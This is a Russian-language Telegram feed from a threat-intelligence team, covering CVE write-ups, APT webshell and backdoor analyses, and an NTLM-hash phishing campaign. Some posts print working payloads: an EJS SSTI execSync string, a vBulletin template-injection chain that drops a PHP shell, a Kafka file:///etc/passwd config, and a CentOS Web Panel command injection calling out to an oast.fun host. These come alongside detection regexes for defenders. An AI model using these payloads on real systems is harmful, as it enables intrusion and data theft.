Четыре луча – Telegram
Четыре луча
3.86K subscribers
83 photos
98 links
Облучаем экспертизой

Заметки Solar 4RAYS c полей о DFIRMA, TH, OffSec

Блог: https://rt-solar.ru/solar-4rays/blog/
Download Telegram
Ошибки конфигурирования API to SSTI to RCE на примере @fastify/view в node.js

@fastify/view — плагин для Fastify, который позволяет использовать шаблонизаторы (view engines) для генерации HTML-страниц на сервере.

Ранее в модуле @fastify/view для Node.js была зарегистрирована потенциальная уязвимость под идентификатором CVE-2025-47240. Однако после детального анализа выяснилось, что описанное поведение связано с неправильным использованием API со стороны разработчиков, а не с уязвимостью в самом программном обеспечении. В результате идентификатор CVE-2025-47240 был официально отозван.

Тем не менее некоторые эксплойты, опубликованные в открытом доступе, продолжают ссылаться на этот идентификатор — это может вводить в заблуждение.

CVE-2025-47240 Плагин @fastify/view, который используется с движком EJS и шаблоном reply.view({ raw: <user-controlled-string> }) , позволяет выполнять произвольные EJS. Это приводит к удаленному выполнению кода (RCE).

Детали неправильной конфигурации API
Ключевой ошибкой является небезопасное использование метода reply.view() из Fastify-плагина @fastify/view.

Рассмотрим следующий фрагмент уязвимого кода:

fastify.post('/render', (req, reply) => {
const template = req.body.text;
return reply.view({ raw: template }, { require }, { async: false });
});

🫡 Сервер принимает POST-запрос на эндпоинт /render.
🫡 const template получает шаблон из тела сообщения без фильтрации
🫡 reply.view используется для рендеринга шаблона с помощью движка EJS
🫡 { raw: template } интерпретирует пользовательский ввод как шаблон
🫡 { require } передаёт в шаблон функцию require, давая полный доступ к Node.js API
🫡{ async: false } асинхронный рендеринг

Эксплуатация
Для успешной эксплуатации этой конфигурационной уязвимости достаточно отправить POST-запрос с произвольным телом, содержащим следующий шаблон EJS:
<%= (this.constructor.constructor('return process.mainModule.require')())('child_process').execSync('ls'); %>

Этот код позволяет пользователю выполнять произвольный JavaScript-код на сервере. В нашем случае результатом выполнения кода станет вывод команды ls. Это классическая Server-Side Template Injection (SSTI), перерастающая в Remote Code Execution (RCE). Js-код внутри шаблона может быть любым❗️

Как защищаться
1️⃣ Никогда не используйте raw с пользовательским вводом
2️⃣ Используйте уже готовые шаблоны
3️⃣ Для детектирования попыток сканирования на эндпоинтах, использующих данную библиотеку, установите правило на обнаружение внедрения шаблона через подобное регулярное выражение ^<%.+%>$
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13🔥11🤓32👎1👾1
Приходите послушать экспертов Solar 4RAYS на Positive Hack Days в Москве!

Cобрали информацию про все выступления наших экспертов в одном посте. Сохраняйте программу по ссылкам ниже себе, чтобы не пропустить интересные доклады.

👍 22 мая, 14:00, Лекторий “Positive Labs”

Страх и ненависть в обфусцированном ассемблере

Руководитель нашей команды реверсеров Владимир Нестор расскажет о борьбе (спойлер: успешной) с обфусцированным кодом одного редкого пакера, который был обнаружен в ходе расследования шпионской атаки.

👍 22 мая, 16:00, Зал 23 “Да Винчи”

Задачи Шредингера: всё, чего вы не знали о планировщике задач Windows

Специалист по DFIR Денис Чернов разберёт проблемы, которые возникают в результате переноса хранилища планировщика задач Windows из привычной папки в реестр: как этой особенностью могут воспользоваться атакующие и что специалисты по реагированию могут с этим сделать.

👍 22 мая, 17:00, зал 23 “Да Винчи”

Защитные решения не панацея: серия кибератак с уничтожением локальных агентов

Эксперт по реверсу Дмитрий Маричев расскажет, как в 2024 году в ходе исследования инфраструктуры заказчиков мы обнаружили сразу несколько образцов ядерных руткитов под Windows, которые были главным образом предназначены для отключения EDR/XDR-решений. Также расскажем об их устройстве и методах противодействия таким вредоносам.

👍 23 мая, 15:00, зал 23 “Да Винчи”

Охота на Kubernetes: угрозы в джунглях оркестрации

Чем популярнее Kubernetes — тем разнообразнее угрозы, с которыми сталкиваются организации, использующие эту платформу. Наши специалисты по поиску угроз Гаго Минасян и Евгений Масьянов расскажут про угрозы, а также приведут пример типичной атаки на кластер Kubernetes и гипотезы хантов, детектирующих вредоносное поведение в кластере.

👍 23 мая, 17:30, зал 18 “Королев”

Ошибки использования threat intelligence в SOC

Технический директор Solar 4RAYS Алексей Вишняков погрузит слушателей в особенности использования киберразведки в компаниях. Расскажет про типовые ошибки при использовании TI службами ИБ, покажет наиболее успешные случаи интеграции и применения срезов данных, а еще поделится подходами пилотирования различных типов данных, оценки качества. В конце выступления — бонус: рекомендации по эффективному использованию контента TI.

До встречи на Positive Hack Days!
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥22👍1153👾1
Бэкдоры Donnect, DimanoRAT и веб-шелл AntSpy

Недавно мы выпустили статью с подробным анализом бэкдора .NET KingOfHearts, который входит в инструментарий азиатской группировки Obstinate Mogwai.

🫡 Сегодня делимся второй частью статьи про бэкдоры Donnect, DimanoRAT и скрытный веб-шелл, который мы назвали AntSpy.

Что будет во второй части статьи, которую вы вот-вот откроете:

🥷 веб-шелл AntSpy — кастомный веб-шелл с графическим интерфейсом, в основу которого легли старые open source веб-шеллы Antak и ASPXSpy.

⚫️ как нововведение, в AntSpy реализовали «трехуровневую» систему аутентификации: GET-запрос с md5-хешом текущей даты > клик по невидимой кнопке > ввода пароля и соли (salt – случайная строка данных, которая добавляется к паролю перед его хешированием)

📁 боль использования веб-шелла злоумышленниками: из-за некорректной настройки нескольких серверов Exchange операторы часто «ловили» ошибки проверки целостности, из-за которых «утекала» история выполненных команд вместе с выводом.

⌨️ бэкдор Donnect впервые обнаружен в инфраструктуре в апреле 2022 года. Получает зашифрованную нагрузку с C2 и выполняет её. Назван по опечатке в слове CONNECT. Имеет сходство с бэкдорами EAGERBEE (Thumtais), Gh0st RAT, Cotx RAT.

🥷 Donnect очень похож на EAGERBEE (Thumtais), который в большинстве публичных отчетов применялся в основном в атаках за рубежом. Мы обнаружили, что семплы Donnect, которые использовались в атаках и загружались на публичный мультисканер из России, применяются исключительно для атак на российские организации и имеют свои уникальные особенности и техники.

📆 бэкдор DimanoRAT впервые обнаружен в инфраструктуре в марте 2023 года. Имеет 24 команды для работы.
Please open Telegram to view this post
VIEW IN TELEGRAM
11🐳5🔥3👌1👾1
Безопасность локальных docker-реестров через механизм нотификаций

Тем, кто смотрел наш доклад на PhD «Охота на Kubernetes: угрозы в джунглях оркестрации», может быть интересно, как можно отслеживать подозрительную активность в локальных docker-реестрах?

В docker-реестрах существует механизм notifications. Он позволяет отправлять web-хуки в ответ на события происходящие в реестре:

• Push и Pull образов реестра;
• Push и Pull слоёв образа.

Эти события отправляются очередью на эндпоинты, которые указаны в конфиге по HTTP(S) в качестве POST запросов. Поэтому важно, чтобы эндпоинт, принимающий события, умел обрабатывать именно POST запросы. Иначе нотификатор, видя ошибку, будет пытаться послать одно и тоже событие на эндпоит, и до следующего события в очереди она не доедет.

Настраиваются нотификаторы в конфиге самого docker-registry. По умолчанию файл конфигурации лежит по пути, как на основном хосте, так и в поде k8s:
/etc/docker/registry/config.yml


Пример конфигурации нотификаторов в docker-registry:

endpoints: # Список endpoint'ов для отправки уведомлений
- name: alistener # Произвольное имя endpoint'а (для идентификации в логах)
url: https://10.244.0.1:6666 # URL получателя уведомлений (должен поддерживать HTTPS POST)
timeout: 500ms # Максимальное время ожидания ответа от endpoint'а
threshold: 5 # Максимальное количество попыток отправки уведомления
backoff: 1s # Пауза между повторными попытками отправки


Пример сервера на python, который может принимать POST запросы от реестра:

from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print("New event:", post_data.decode())
self.send_response(200)
self.end_headers()

HTTPServer(('0.0.0.0', 6666), Handler).serve_forever()


Запускаем наш эндпоинт и начинаем получать события.

python3 pythonlog.py

Пример события pull в docker-registry:

"events": [
{
"id": "92373dbb-a1b3-420e-9008-83b93362cbcb",
"timestamp": "2025-05-20T10:08:19.010407248Z",
"action": "pull",
"target": {
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"size": 1778,
"digest": "sha256:056c8ad1921514a2fc810a792b5bd18a02d003a99d6b716508bf11bc98c413c3",
"length": 1778,
"repository": "nginx",
"url": "https://docker-registry:5000/v2/nginx/manifests/sha256:056c8ad1921514a2fc810a792b5bd18a02d003a99d6b716508bf11bc98c413c3",
"tag": "v1"
},
"request": {
"id": "7ab6ff81-3187-44ce-aa0f-4d0e7d77071f",
"addr": "10.244.0.1:27862",
"host": "docker-registry:5000",
"method": "HEAD",
"useragent": "curl/8.5.0"
},
"actor": {
"name": "admin"
},
"source": {
"addr": "docker-registry-pod:5000",
"instanceID": "9419304c-421c-4837-ae87-d5c9ab9be670"
}
}
]
}


Здесь произошло обращение от клиента с User-Agent — curl к образу контейнера nginx. Эту активность можно считать подозрительной, так как утилита curl не является стандартной для взаимодействия с образами контейнеров.

На основе данных событий можно вывести профиль критичных образов в вашей инфраструктуре и отслеживать, какие обращения происходят к ним.
🔥20👍11💯43👾1
Webrat шпионит за жертвами через веб-камеру и похищает криптокошельки

Мы обнаружили вредонос, распространяющийся по модели Malware-as-a-Service. Злоумышленники маскируют его под пиратские версии игр и под программы для их взлома.

ВПО имеет продвинутую функциональность стилера, которая позволяет похищать:
🫡 данные из браузеров;
🫡 аккаунты в Steam и Discord;
🫡 данные криптокошельков.

Кроме того, ВПО позволяет удаленно управлять системой через UI практически без задержек и следить за действиями жертвы как через трансляцию рабочего стола, так и через веб-камеру.

Подробности читайте в нашей новой статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥156👍4👾1
Необычный веб-шелл в арсенале Obstinate Mogwai

Делимся веб-шеллом, который показался нам не просто интересным, но интересным в квадрате или даже в кубе. С одной стороны, в нем использована необычная техника, с другой… Но не будем раскрывать все карты сразу.

О коде web.config веб-шелла

В этой статье о группировке Obstinate Mogwai, в разделе IOCs, мы упоминали web.config веб-шелл:
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Owa\auth\web.aspx

md5: 42f0dc07131705738a14baffd560be7c

Примерный код веб-шелла представлен на скриншоте 1.

Специалисту, не знакомому с одной старой техникой, может показаться, что код закомментирован и такой веб-шелл вряд ли активен. В реальности же он работает, код исполняется, причем скрытно (скриншот 2).

Веб-шелл возвращает результаты выполнения команды, которые видны только при просмотре исходного кода страницы, так как сам код веб-шелла закомментирован.

Конечно, злоумышленники вряд ли используют этот веб-шелл через браузер. Скорее всего, взаимодействие с ним происходит программно, поэтому описанная выше скрытность — это некий side-effect.

Почему код исполняется?

Опытные исследователи, наверное, сразу все поняли, когда посмотрели на скриншот с кодом веб-шелла, но мы все равно напомним.

Техника исполнения закомментированного кода в web.config файле известна примерно с 2014 года. Ее применяют, например, когда нет возможности загрузить на уязвимый сервер файлы с расширением aspx.

Если кратко, код исполняется из-за применения IIS-настроек, которые задаются в самом начале файла. Эта олдскул-техника исполнения кода хитра и элегантна, поэтому также приведем более подробное описание.

Файл web.config последовательно играет две роли: xml-конфига и aspx-страницы (скриншот 3):

👀 web.config обрабатывается как конфиг XML-парсером, который как раз и накладывает ограничения на способы написания кода веб-шелла. Единственный известный нам способ успешно пройти проверку XML-парсера — написать ASPX-код веб-шелла в комментариях;

👀 из-за примененных настроек web.config обрабатывается как aspx-страница. Ее код скомпилируется в dll и выполнится. При этом не будут учитываться XML-комментарии, только ASPX-код в соответствующих тегах.

Другие настройки web.config удаляют запреты на доступ к файлам с расширением config и файлу web.config.

Краткий итог: все web.config-настройки важны и тоже являются частью веб-шелла.

В следующем посте поделимся, какими еще важными особенностями обладал этот веб-шелл и откуда мог взяться. Если интересно, ставьте 🔥
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥285🤔3👍2👾2
Десятибалльная уязвимость в vBulletin CVE-2025-48827 👾

Уязвимость CVE-2025-48827 позволяет неаутентифицированным пользователям вызывать защищенные методы API, что может привести к удаленному выполнению кода (RCE).

❗️Она затрагивает vBulletin с 5.0.0 по 5.7.5 и с 6.0.0 по 6.0.3 версий, которые работают на PHP 8.1 и выше.

vBulletin — это коммерческая платформа для создания форумов и сообществ на сайтах. Она работает на языке PHP и использует базы данных MySQL.


Метрики

Base core: 10
CWE: CWE-424


Детали уязвимости

Основная критическая проблема — изменение поведения Reflection API в PHP 8.1.

Традиционно класс ReflectionMethod в PHP требовал явного разрешения — через setAccessible(true) вызов защищенных или закрытых методов. Но начиная с PHP 8.1 это ограничение смягчено: ReflectionMethod::invoke(). Теперь по умолчанию можно вызывать защищенные и закрытые методы.

API vBulletin предоставляет конечные точки в формате:
/ajax/api/[controller]/[method]


Они реализуют маршрутизацию запросов к методам контроллеров с помощью Reflection API. Контроль доступа осуществляется на уровне метода, а не глобально.

❗️Конечные точки могут передаваться как в URI, так и параметре routestring POST-запроса.

Цепочка атаки на метод replaceAdTemplate

Метод replaceAdTemplate в vBulletin является частью API-контроллера vB_Api_Ad и предназначен для создания или обновления рекламных шаблонов.

1️⃣ Загрузка вредоносного шаблона
Злоумышленник отправляет POST-запрос с вредоносным шаблоном, например:
routestring=ajax/api/ad/replaceAdTemplate&styleid=1&location=omgItIsShell&template=<vb:if condition='"passthru"($_POST["cmd"])'> </vb:if>

"passthru" — это строка, интерпретируемая PHP как имя функции.
"passthru"($_POST["cmd"]) — фактически выполняет команду, полученную в $_POST["cmd"].
• Функция passthru() выводит результат команды напрямую в HTML.
• Так как условие находится внутри <vb:if>, вызов функции происходит при отображении шаблона, независимо от возвращаемого значения (null в случае passthru).

2️⃣ Отправка shell-кода
После того как вредоносный шаблон загружен и активен, злоумышленник отправляет новый POST-запрос к другому API , который вызывает созданный шаблон:
routestring=ajax/render/ad_omgItIsShell&styleid=10000&location=rce6&cmd=echo '<?php if(isset($_GET["cmd"])){echo "<pre>"; system($_GET["cmd"]); echo "</pre>";} ?>' > shell9.php

Шаблон, загруженный на первом этапе, должен быть активен и применим на странице, обрабатываемой ajax/render/**

Как защищаться

Если со вторым этапом все более-менее понятно — это просто Shell, который могут обнаружить многие WAF без особых трудностей, — то первый может создать проблемы.

Мы точно знаем, что атака происходит с использованием шаблона <vb:if> *** <\vb:if>.

Так же мы знаем, что в шаблоне должен находиться параметр condition.

Предлагаемое регулярное выражение:
<vb:if\s+condition\s*=\s*["'].*?(passthru|system|shell_exec|eval|assert).*?(\$_(GET|POST|REQUEST))\s*\[["'].*?["']\].*?["']
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥125👍5🎃1👾1
Необычный веб-шелл в арсенале Obstinate Mogwai, часть 2

Продолжаем рассказывать про необычный веб-шелл в арсенале группировки Obstinate Mogwai. Он выглядит как нерабочий, но на самом деле работает.

Почему он интересен в кубе

Мы уже объяснили, почему выполнялся закомментированный код в веб-шелле, но позже у нас возник вопрос, который мы упустили из-за интересной legacy-техники…

Злоумышленники создали файл с именем web.aspx! ASPX-файл! По сути это означало, что интересная legacy-техника исполнения кода в web.config-файле была им попросту не нужна. Можно было выкинуть все web.config-настройки, оставить только ASPX-код — и он бы спокойно работал (скриншот 1).

Возможно, таким образом злоумышленники хотели мимикрировать под web.config-файл, запутать DFIR-специалистов в IIS-логах либо достигнуть каких-то иных целей.

Где расположен веб-шелл

Это еще один интересный вопрос.

В нашем случае он располагался в Backend-каталоге Exchange-сервера (каталог ClientAccess):
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Owa\auth\


Обычно веб-шеллы располагают в каталогах, которые доступны извне (например, ...\FrontEnd\HttpProxy\owa\auth).

Для доступа к такому веб-шеллу злоумышленникам нужно знать какие-либо аутентификационные данные либо использовать уязвимости, похожие на ProxyLogon, ProxyShell и другие.

Также отметим, что в IIS-логах обращения к такому веб-шеллу могут выглядеть так, будто они идут к FrontEnd:
YYYY-MM-DD HH:MM:SS EXCH_IP GET /owa/auth/web.aspx c=whoami&ClientId=9BCA85B3DFC84A6896909B891C54BA9F&CorrelationID=<empty>;&encoding=;&cafeReqId=8e7a389b-5887-4a50-9641-f7ef409bfb61; 443 - CLIENT_IP USER_AGENT - 200 0 0 65


Можно проверить web.aspx в каталоге C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth и ничего там не обнаружить.

Отметим, что мы не обнаружили никаких обращений к данному веб-шеллу в инциденте.

❗️ Поэтому важный совет: если вы делаете DFIR в инфраструктуре, атакованной Obstinate Mogwai, для надежности при обнаружении подобных подозрительных запросов проверьте оба каталога — Frontend и Backend — на наличие веб-шелла.

Откуда взялся этот веб-шелл

Мы обнаружили очень похожий веб-шелл в статье ".NET upload web.config file to achieve RCE idea" на азиатской платформе для публикации технических исследований по информационной безопасности.

В разделе "0x02 Running as a .NETT noscript" представлен пример, который очень похож на веб-шелл, использованный в реальной атаке (скриншот 2).

Веб-шелл в инциденте был обнаружен 14.09.2023 03:42:47, а статья вышла 22.01.2024. Ее опубликовало сообщество dot.Net Security Matrix, которое уже на протяжении многих лет выпускает различные red team материалы по .NET. Примечательно, что автор статьи как будто специально упустил в примерах кода детали, без которых его нельзя просто скопипастить и использовать.

Публикация статьи после инцидента может быть совпадением, но не исключено, что эти истории связаны.

Вывод: при реагировании на инциденты необходимо учитывать особенности веб-шеллов.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥186👍6🤔3
🔍 Как подготовиться к реальным атакам на Kubernetes

Kubernetes используют многие организации для управления микросервисами, CI/CD и масштабирования. Но его гибкость часто приводит к неправильной настройке — слишком открытые роли RBAC, ошибки в NetworkPolicy, публичный доступ к API-серверу. Всё это создаёт широкий спектр потенциальных векторов атак.

Мониторинг помогает выявить атаки, даже если базовая защита уже настроена, особенно при ошибках в конфигурации. Однако прежде чем мониторить активность, важно понимать: чего именно хочет атакующий от нашего кластера?

Чтобы это выяснить, мы заранее готовим лабораторные стенды для эмуляции атак. Они позволяют точно настроить сбор телеметрии и определить, какие события и активности нужно отслеживать. Эти данные помогают нам настраивать правила детектирования аномалий и отсеивать легитимную активность, чтобы сократить количество ложных срабатываний.

🎯 Мы собрали мини-гайд с практическими рекомендациями по развёртыванию уязвимого Kubernetes-кластера. Этот подход основан на нашем лабораторном стенде из недавнего доклада, где мы разбирали актуальные техники атакующих в Kubernetes.

Что поможет сделать этот гайд
👍 Развернуть собственный стенд, повторяющий наш сценарий атак;
👍 Пройти гипотетический сценарий атак из доклада;
👍 Улучшить аудит и мониторинг своих кластеров;
👍 Подготовиться к реальным атакам и повысить защиту Kubernetes.

Если готовы проверить себя, читайте статью и тестируйте уязвимости в безопасной среде 🚀
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍743😁2😎2🌚1
LuckyStrike Agent: коммерческий бэкдор на службе Erudite Mogwai?

LuckyStrike Agent — это многофункциональный .NET бэкдор, который был замечен в атаках группировки Erudite Mogwai. Ранее мы уже рассказывали, как Erudite Mogwai использует кастомный Stowaway для скрытного продвижения в сети.

Что нужно знать о LuckyStrike Agent
😬 «Покерный блеф» в коде: название и внутренние классы загрузчика — "Card", "ArtificialPlayer", "Table", "Hand" — отсылают к азартным играм.
👽 Загрузчик использует технику AppDomain Manager Injection (T1574.014).
👽 Облачные сервисы в качестве C2: в семплах, которые мы обнаружили, использовался OneDrive, однако архитектура бэкдора позволяет использовать и другие облачные сервисы.
👽 Коммерческий продукт? В отладочных строках бэкдора присутствует строка E:\Csharp\HA_Thomas\Server\Library\obj\Paid Version\Library.pdb. Также при генерации agent_id (MD5 от определенным образом сформированной строки) используется префикс paid, что может говорить о коммерческой природе данного вредоноса.

Какие функции выполняет бэкдор LuckyStrike Agent
⚪️ Исполняет консольные команды.
⚪️ Загружает и исполняет кастомные сборки (Assembly). Поддерживает два варианта запуска сборок. В первом случае у подгруженной сборки исполняется точка входа. Во втором случае сборка должна имплементировать тип Plugin, у которого присутствует метод Run.
⚪️ Удаляет и загружает файлы.
⚪️ Собирает информацию о файлах в директориях — имя, размер, путь, base64 от иконки, время последней записи в файл и является ли путь директорией.
⚪️ Собирает информацию о дисках — имя диска и объем.

Подробнее о LuckyStrike Agent читайте в нашей статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥135👍3🌚2😁1
SSRF в Apache Kafka Client CVE-2025-27817

CVE-2025-27817 обнаружена в Apache Kafka Client и затрагивает механизм аутентификации SASL/OAUTHBEARER. Эта уязвимость позволяет злоумышленнику указать произвольные значения параметров sasl.oauthbearer.token.endpoint.url и sasl.oauthbearer.jwks.endpoint.url, что может привести к реализации SSRF.

❗️Уязвимы версии 3.1.0 – 3.9.0 — рекомендуем обновиться.

Метрики
Base core: 7,5 (High)
CWE: CWE 918


Описание уязвимости

Kafka Client позволяет указать URL-адреса в конфигурации:
sasl.oauthbearer.token.endpoint.url
sasl.oauthbearer.jwks.endpoint.url

sasl.oauthbearer.token.endpoint.urlэто параметр конфигурации в Apache Kafka Client, который указывает URL-адрес сервера аутентификации OAuthBearer, откуда клиент должен получить токен доступа.

sasl.oauthbearer.jwks.endpoint.urlэто параметр конфигурации Apache Kafka Client, который указывает URL для получения JWKS (JSON Web Key Set) — набора ключей, используемых для проверки подписанных OAuth токенов.

Проблема
Kafka не ограничивает допустимые схемы URL — можно подставить:
file:// → приведёт к чтению локального файла и логированию его содержимого.
http:// или https:// → позволяет сделать запрос к произвольному серверу, в том числе во внутренней сети → SSRF.

Пример эксплойта
{
"type": "kafka",
"spec": {
"type": "kafka",
"ioConfig": {
"type": "kafka",
"consumerProperties": {
"bootstrap.servers": "127.0.0.1:1337",
"sasl.mechanism": "OAUTHBEARER",
"security.protocol": "SASL_SSL",
"sasl.login.callback.handler.class": "org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler",
"sasl.oauthbearer.token.endpoint.url": "file:///etc/passwd",
"sasl.jaas.config": "org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required;"
},
"topic": "xx",
"useEarliestOffset": true

},
"dataSchema": {
"dataSource": "test"
}
}
}

В данном запросе злоумышленник получит содержимое файла /etc/passwd через схему file. А в известном эксплоите обращение идет к эндроинту /druid/indexer/v1/sampler

Как защищаться
На WAF можно написать правило, которое контролировало содержимое ключей sasl.oauthbearer.token.endpoint.url и sasl.oauthbearer.jwks.endpoint.url, что бы в них не передавались схемы http, ftp, php, https, file, data.
Например подобным регулярным выражением
\"\s*sasl\.oauthbearer\.(token|jwks)\.endpoint\.url\s*\":\s*\"\s*(http:\/\/|https:\/\/|file:\/\/|php|data|ftp).*?\"


Возможные исключения: в схемах https, http отсутствие адресов, недоступных для внешних пользователей.
🔥14👍543🤔2👾1
Прибытие на полке утилит для туннелирования

Есть много утилит для туннелирования трафика, которые мы часто видим во время реагирования: ngrok, localtonet, stowaway, cloudflared, neo-regeorg, gost, frp и другие. Но злоумышленники на этом не останавливаются и продолжают создавать новые. Недавно на одном популярном сервисе мультисканера мы обнаружили утилиту Serpent by Vegas v2.2.1, которая использовалась в одной из атак хакерской группировки BO Team (Black Owl) на энергетическую компанию.

Serpent — это необфусцированный исполняемый файл, написанный на языке Golang. Строки не зашифрованы. Трафик шифруется алгоритмом AES. Утилита предназначена для проксирования и туннелирования сетевого трафика, а еще для сокрытия своего присутствия в инфраструктуре компании. Она может использовать скомпрометированные системы внутри организации-жертвы в качестве прокси-серверов и создавать из них цепочки. Злоумышленники пользуются этим для взаимодействия с ВПО, который находится на системе без доступа в интернет.

Скриншот 1 — пример запуска утилиты без аргументов.
Скриншот 2 — подробный help по аргументам командной строки.

Информация о сборке
path    vegas/serpent/cmd/main
mod vegas/serpent (devel)
build vcs=git
build vcs.revision=3acd31d1b32e9919c78a247545542273ffcc7ea6
build vcs.time=2024-09-07T19:51:44Z
build vcs.modified=true


При запуске без параметров Serpent работает в режиме master-relay
👍 Открывает 1080 порт для SOCKS5 соединений (по умолчанию данные для аутентификации: master:deadbeef);
👍 Открывает 1081 порт для Relay-соединений от локальных устройств.

Name: mscvs.exe
MD5: 7de20abf342e652981476e45aab5accc
SHA1: c121807f3afe9b1795b90982c631f9f907fc19b9
SHA256: c95a39a992d85d7c7299a84780f3418bc1574c9adcd6318b5c3116405f48269f
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥179👍64👾1
Исследование уязвимости в CentOS Web Panel CVE-2025-48703

В сети появился эксплойт на уязвимость CVE-2025-48703, который позволяет выполнять удаленный код (RCE) от имени пользователя в обход авторизации.

Метрики на сегодняшний момент в NIST не опубликованы.


Детали уязвимости
На конечной точке /fileManager_v2.php существует возможность редактирования прав файлов на чтение и запись. При изменении прав клиент отправляет POST запрос на <USER>/loader_ajax.php?ajax=filemanager&acc=changePerm с телом

-----------------------------3849265187757317862020143986
Content-Disposition: form-data; name="fileName"

.autorelabel
-----------------------------3849265187757317862020143986
Content-Disposition: form-data; name="currentPath"

/
-----------------------------3849265187757317862020143986
Content-Disposition: form-data; name="recursive"


-----------------------------3849265187757317862020143986
Content-Disposition: form-data; name="t_total"

600
-----------------------------3849265187757317862020143986—

В данном случае меняются права у файла .autorelabel в директории / на 600 т.е (-rw-------).

В эксплойте говорится, что злоумышленнику необходимо угадать имя пользователя <USER> и отправить POST-запрос без заголовка cookie. Эта ошибка приведет к обходу авторизации.
Вторая ошибка — это уязвимость параметра t_total, которая позволяет передать код для выполнения на сервере (RCE), например формате ` code ` или ; code .

Исследование
Был настроен стенд с версией CWP 0.9.8.1199, который подтвердил, что параметр t_total действительно уязвим к передаче команд. В нашем исследовании использовалась более новая версия панели пользователя, которая позволила добиться эксплуатации от пользователя admin с предварительной авторизацией. Исследователи, обнаружившие данную уязвимость, скорее всего, использовали более старую версию, что позволило им провести эксплуатацию от имени пользователя без предварительной авторизации.

Панель пользователя не версионируется во время процесса установки, т.е отрицать возможной эксплуатации мы не можем. Но можем точно сказать, что эксплуатация происходит идентично, за исключением того, что пользователь admin меняется на другого пользователя.


Пример эксплуатации
В приведенном примере уязвимый сервер, выполнив команду `curl https://jvphXXXXtoczq52p92qoh.oast.fun?a=rce`, обратился к серверу атакующего. Уязвимой конечной точкой в данном примере является /admin/loader_ajax.php?ajax=filemanager&acc=changePerm.

Как защищаться
Так как логикой приложения, в контексте уязвимой точки <USER>/loader_ajax.php?ajax=filemanager&acc=changePerm, задумано, что этот параметр должно передавать число в формате XXX, то любое отклонение от этой логики будет являться не легитимным а значит, мы можем проверять значение этого параметра через регулярное выражение, например: ^(?!100$|[1-9][0-9]{2}$).* .
🔥118👍7😁3🍓3👾1
Сбор хешей продолжается

В январе этого года эксперты PT ESC сообщали о фишинговой кампании группировки PhaseShifters (Sticky Werewolf, Angry Likho) по сбору NTLM-хешей. Мы также следили за этой активностью и обнаружили, что злоумышленники продолжают сбор, но уже с нового IP-адреса из той же подсети (31.214.157.162). В некоторых случаях применяют новую технику для утечки данных.

Новый IP-адрес активно используется с января этого года по настоящее время. Мы обнаружили более 40 различных документов формата DOCX на популярном публичном сервисе мультисканера, у которых в word\_rels\document.xml.rels присутствуют ссылки на изображения вида:
file://\31.214.157.162\<random_name>.png
Например,
file://\31.214.157.162\xQGIc9qBS82QXWuC2g7L.png

При открытии документов в Word со ссылками вида file://<IP_address>\<image> система (процесс svchost.exe) обрабатывает ссылку как UNC-путь и инициирует SMB-соединение c указанным IP-адресом в попытке загрузить изображение. Это приводит к утечке имени пользователя, домена и NTLM-хеша. Методом перебора из NTLM-хеша можно восстановить пароль (успех восстановления зависит от сложности пароля) или использовать сам хеш в атаках Pass-the-Hash. Так группировка PhaseShifters проводит разведку и собирает аутентификационные данные, которые могут использоваться при взломе.

Утечка NTLM-хеша происходит даже в случае отсутствия файла изображения — злоумышленники используют случайные названия в ссылках.

Песочницы в подобных документах не находят ничего вредоносного, что может вводить в заблуждение неопытных пользователей. Одна из причин — при детонации вредоносные файлы не загружаются, не создаются и не выполняются.

Примеры фишинговых писем, использовавших новый IP-адрес — скриншоты 1 и 2.
Имена документов — скриншот 3.
Большинство документов загружались из России, часть — из Беларуси.

Новый прием
Среди документов мы обнаружили два архива, которые привлекли наше внимание (скриншот 4).
Оба архива содержали один и тот же LNK-файл под разными именами (скриншот 5).
В параметре Target у этого файла также содержалась ссылка для утечки NTLM-хеша:
\\31.214.157.162\@94OcMlGHaq.png

Возникает вопрос: зачем злоумышленники поместили в архив помимо DOCX-файла еще и LNK-файл?


Дело в том, что этот LNK-файл позволяет утечь NTLM-хешу даже без его открытия пользователем. Жертве достаточно распаковать архив и посмотреть содержимое каталога с LNK-файлом — все, NTLM-хеш будет украден.

Иными словами, достаточно просто открыть каталог с таким LNK-файлом — и NTLM-хеш пользователя станет известен злоумышленникам. Подобная утечка хеша в LNK-файлах считается «by design» и не является уязвимостью.

Идея эксплуатировать UNC-пути ради перехвата хешей не нова. Мы недавно писали, как детектировать похожую уязвимость (CVE-2025-24071), но только в library-ms-файлах.

Сам прием создания таких LNK-файлов известен давно, однако злоумышленники скорее всего черпали вдохновение из этой статьи 2020 года по следующим совпадениям:
1️⃣ наличие в lnk-файлах аналогичного hot key Ctrl+Alt+O;
2️⃣ использование @ в начале имени изображения в ссылке для отображения файла поверх остальных и упрощения взаимодействия пользователя с ним.

IOCs
С2 для сбора NTLM-хешей
31.214.157.162


Архивы с LNK-файлом (март 2025)
42c2c1fc08a23cfddeb4454c48b204b187529eec55499931af311c1fb7147b52
d49719c4f61485d14031a64b8f28ee663c61a91d142e4149a32fa7a98a6c30a6


LNK-файл
00c5876f07d463b3c5519d630b9868ddcddf631375ff17c4910e22fab196a442


Документы с утечкой NTLM-хеша
7d979f396b68294bb8077e05253086f9fb7a789a0e5ab866857669b7a2f1d45a
eeffda92e025ac69e2235f654c2ac7d84c6d18208f0e4183770c876d5f1d9993
2b75c2e499d4e67bc00f45aa28aa09b04c3537a9b4347cfef7fe8d391ca764d7
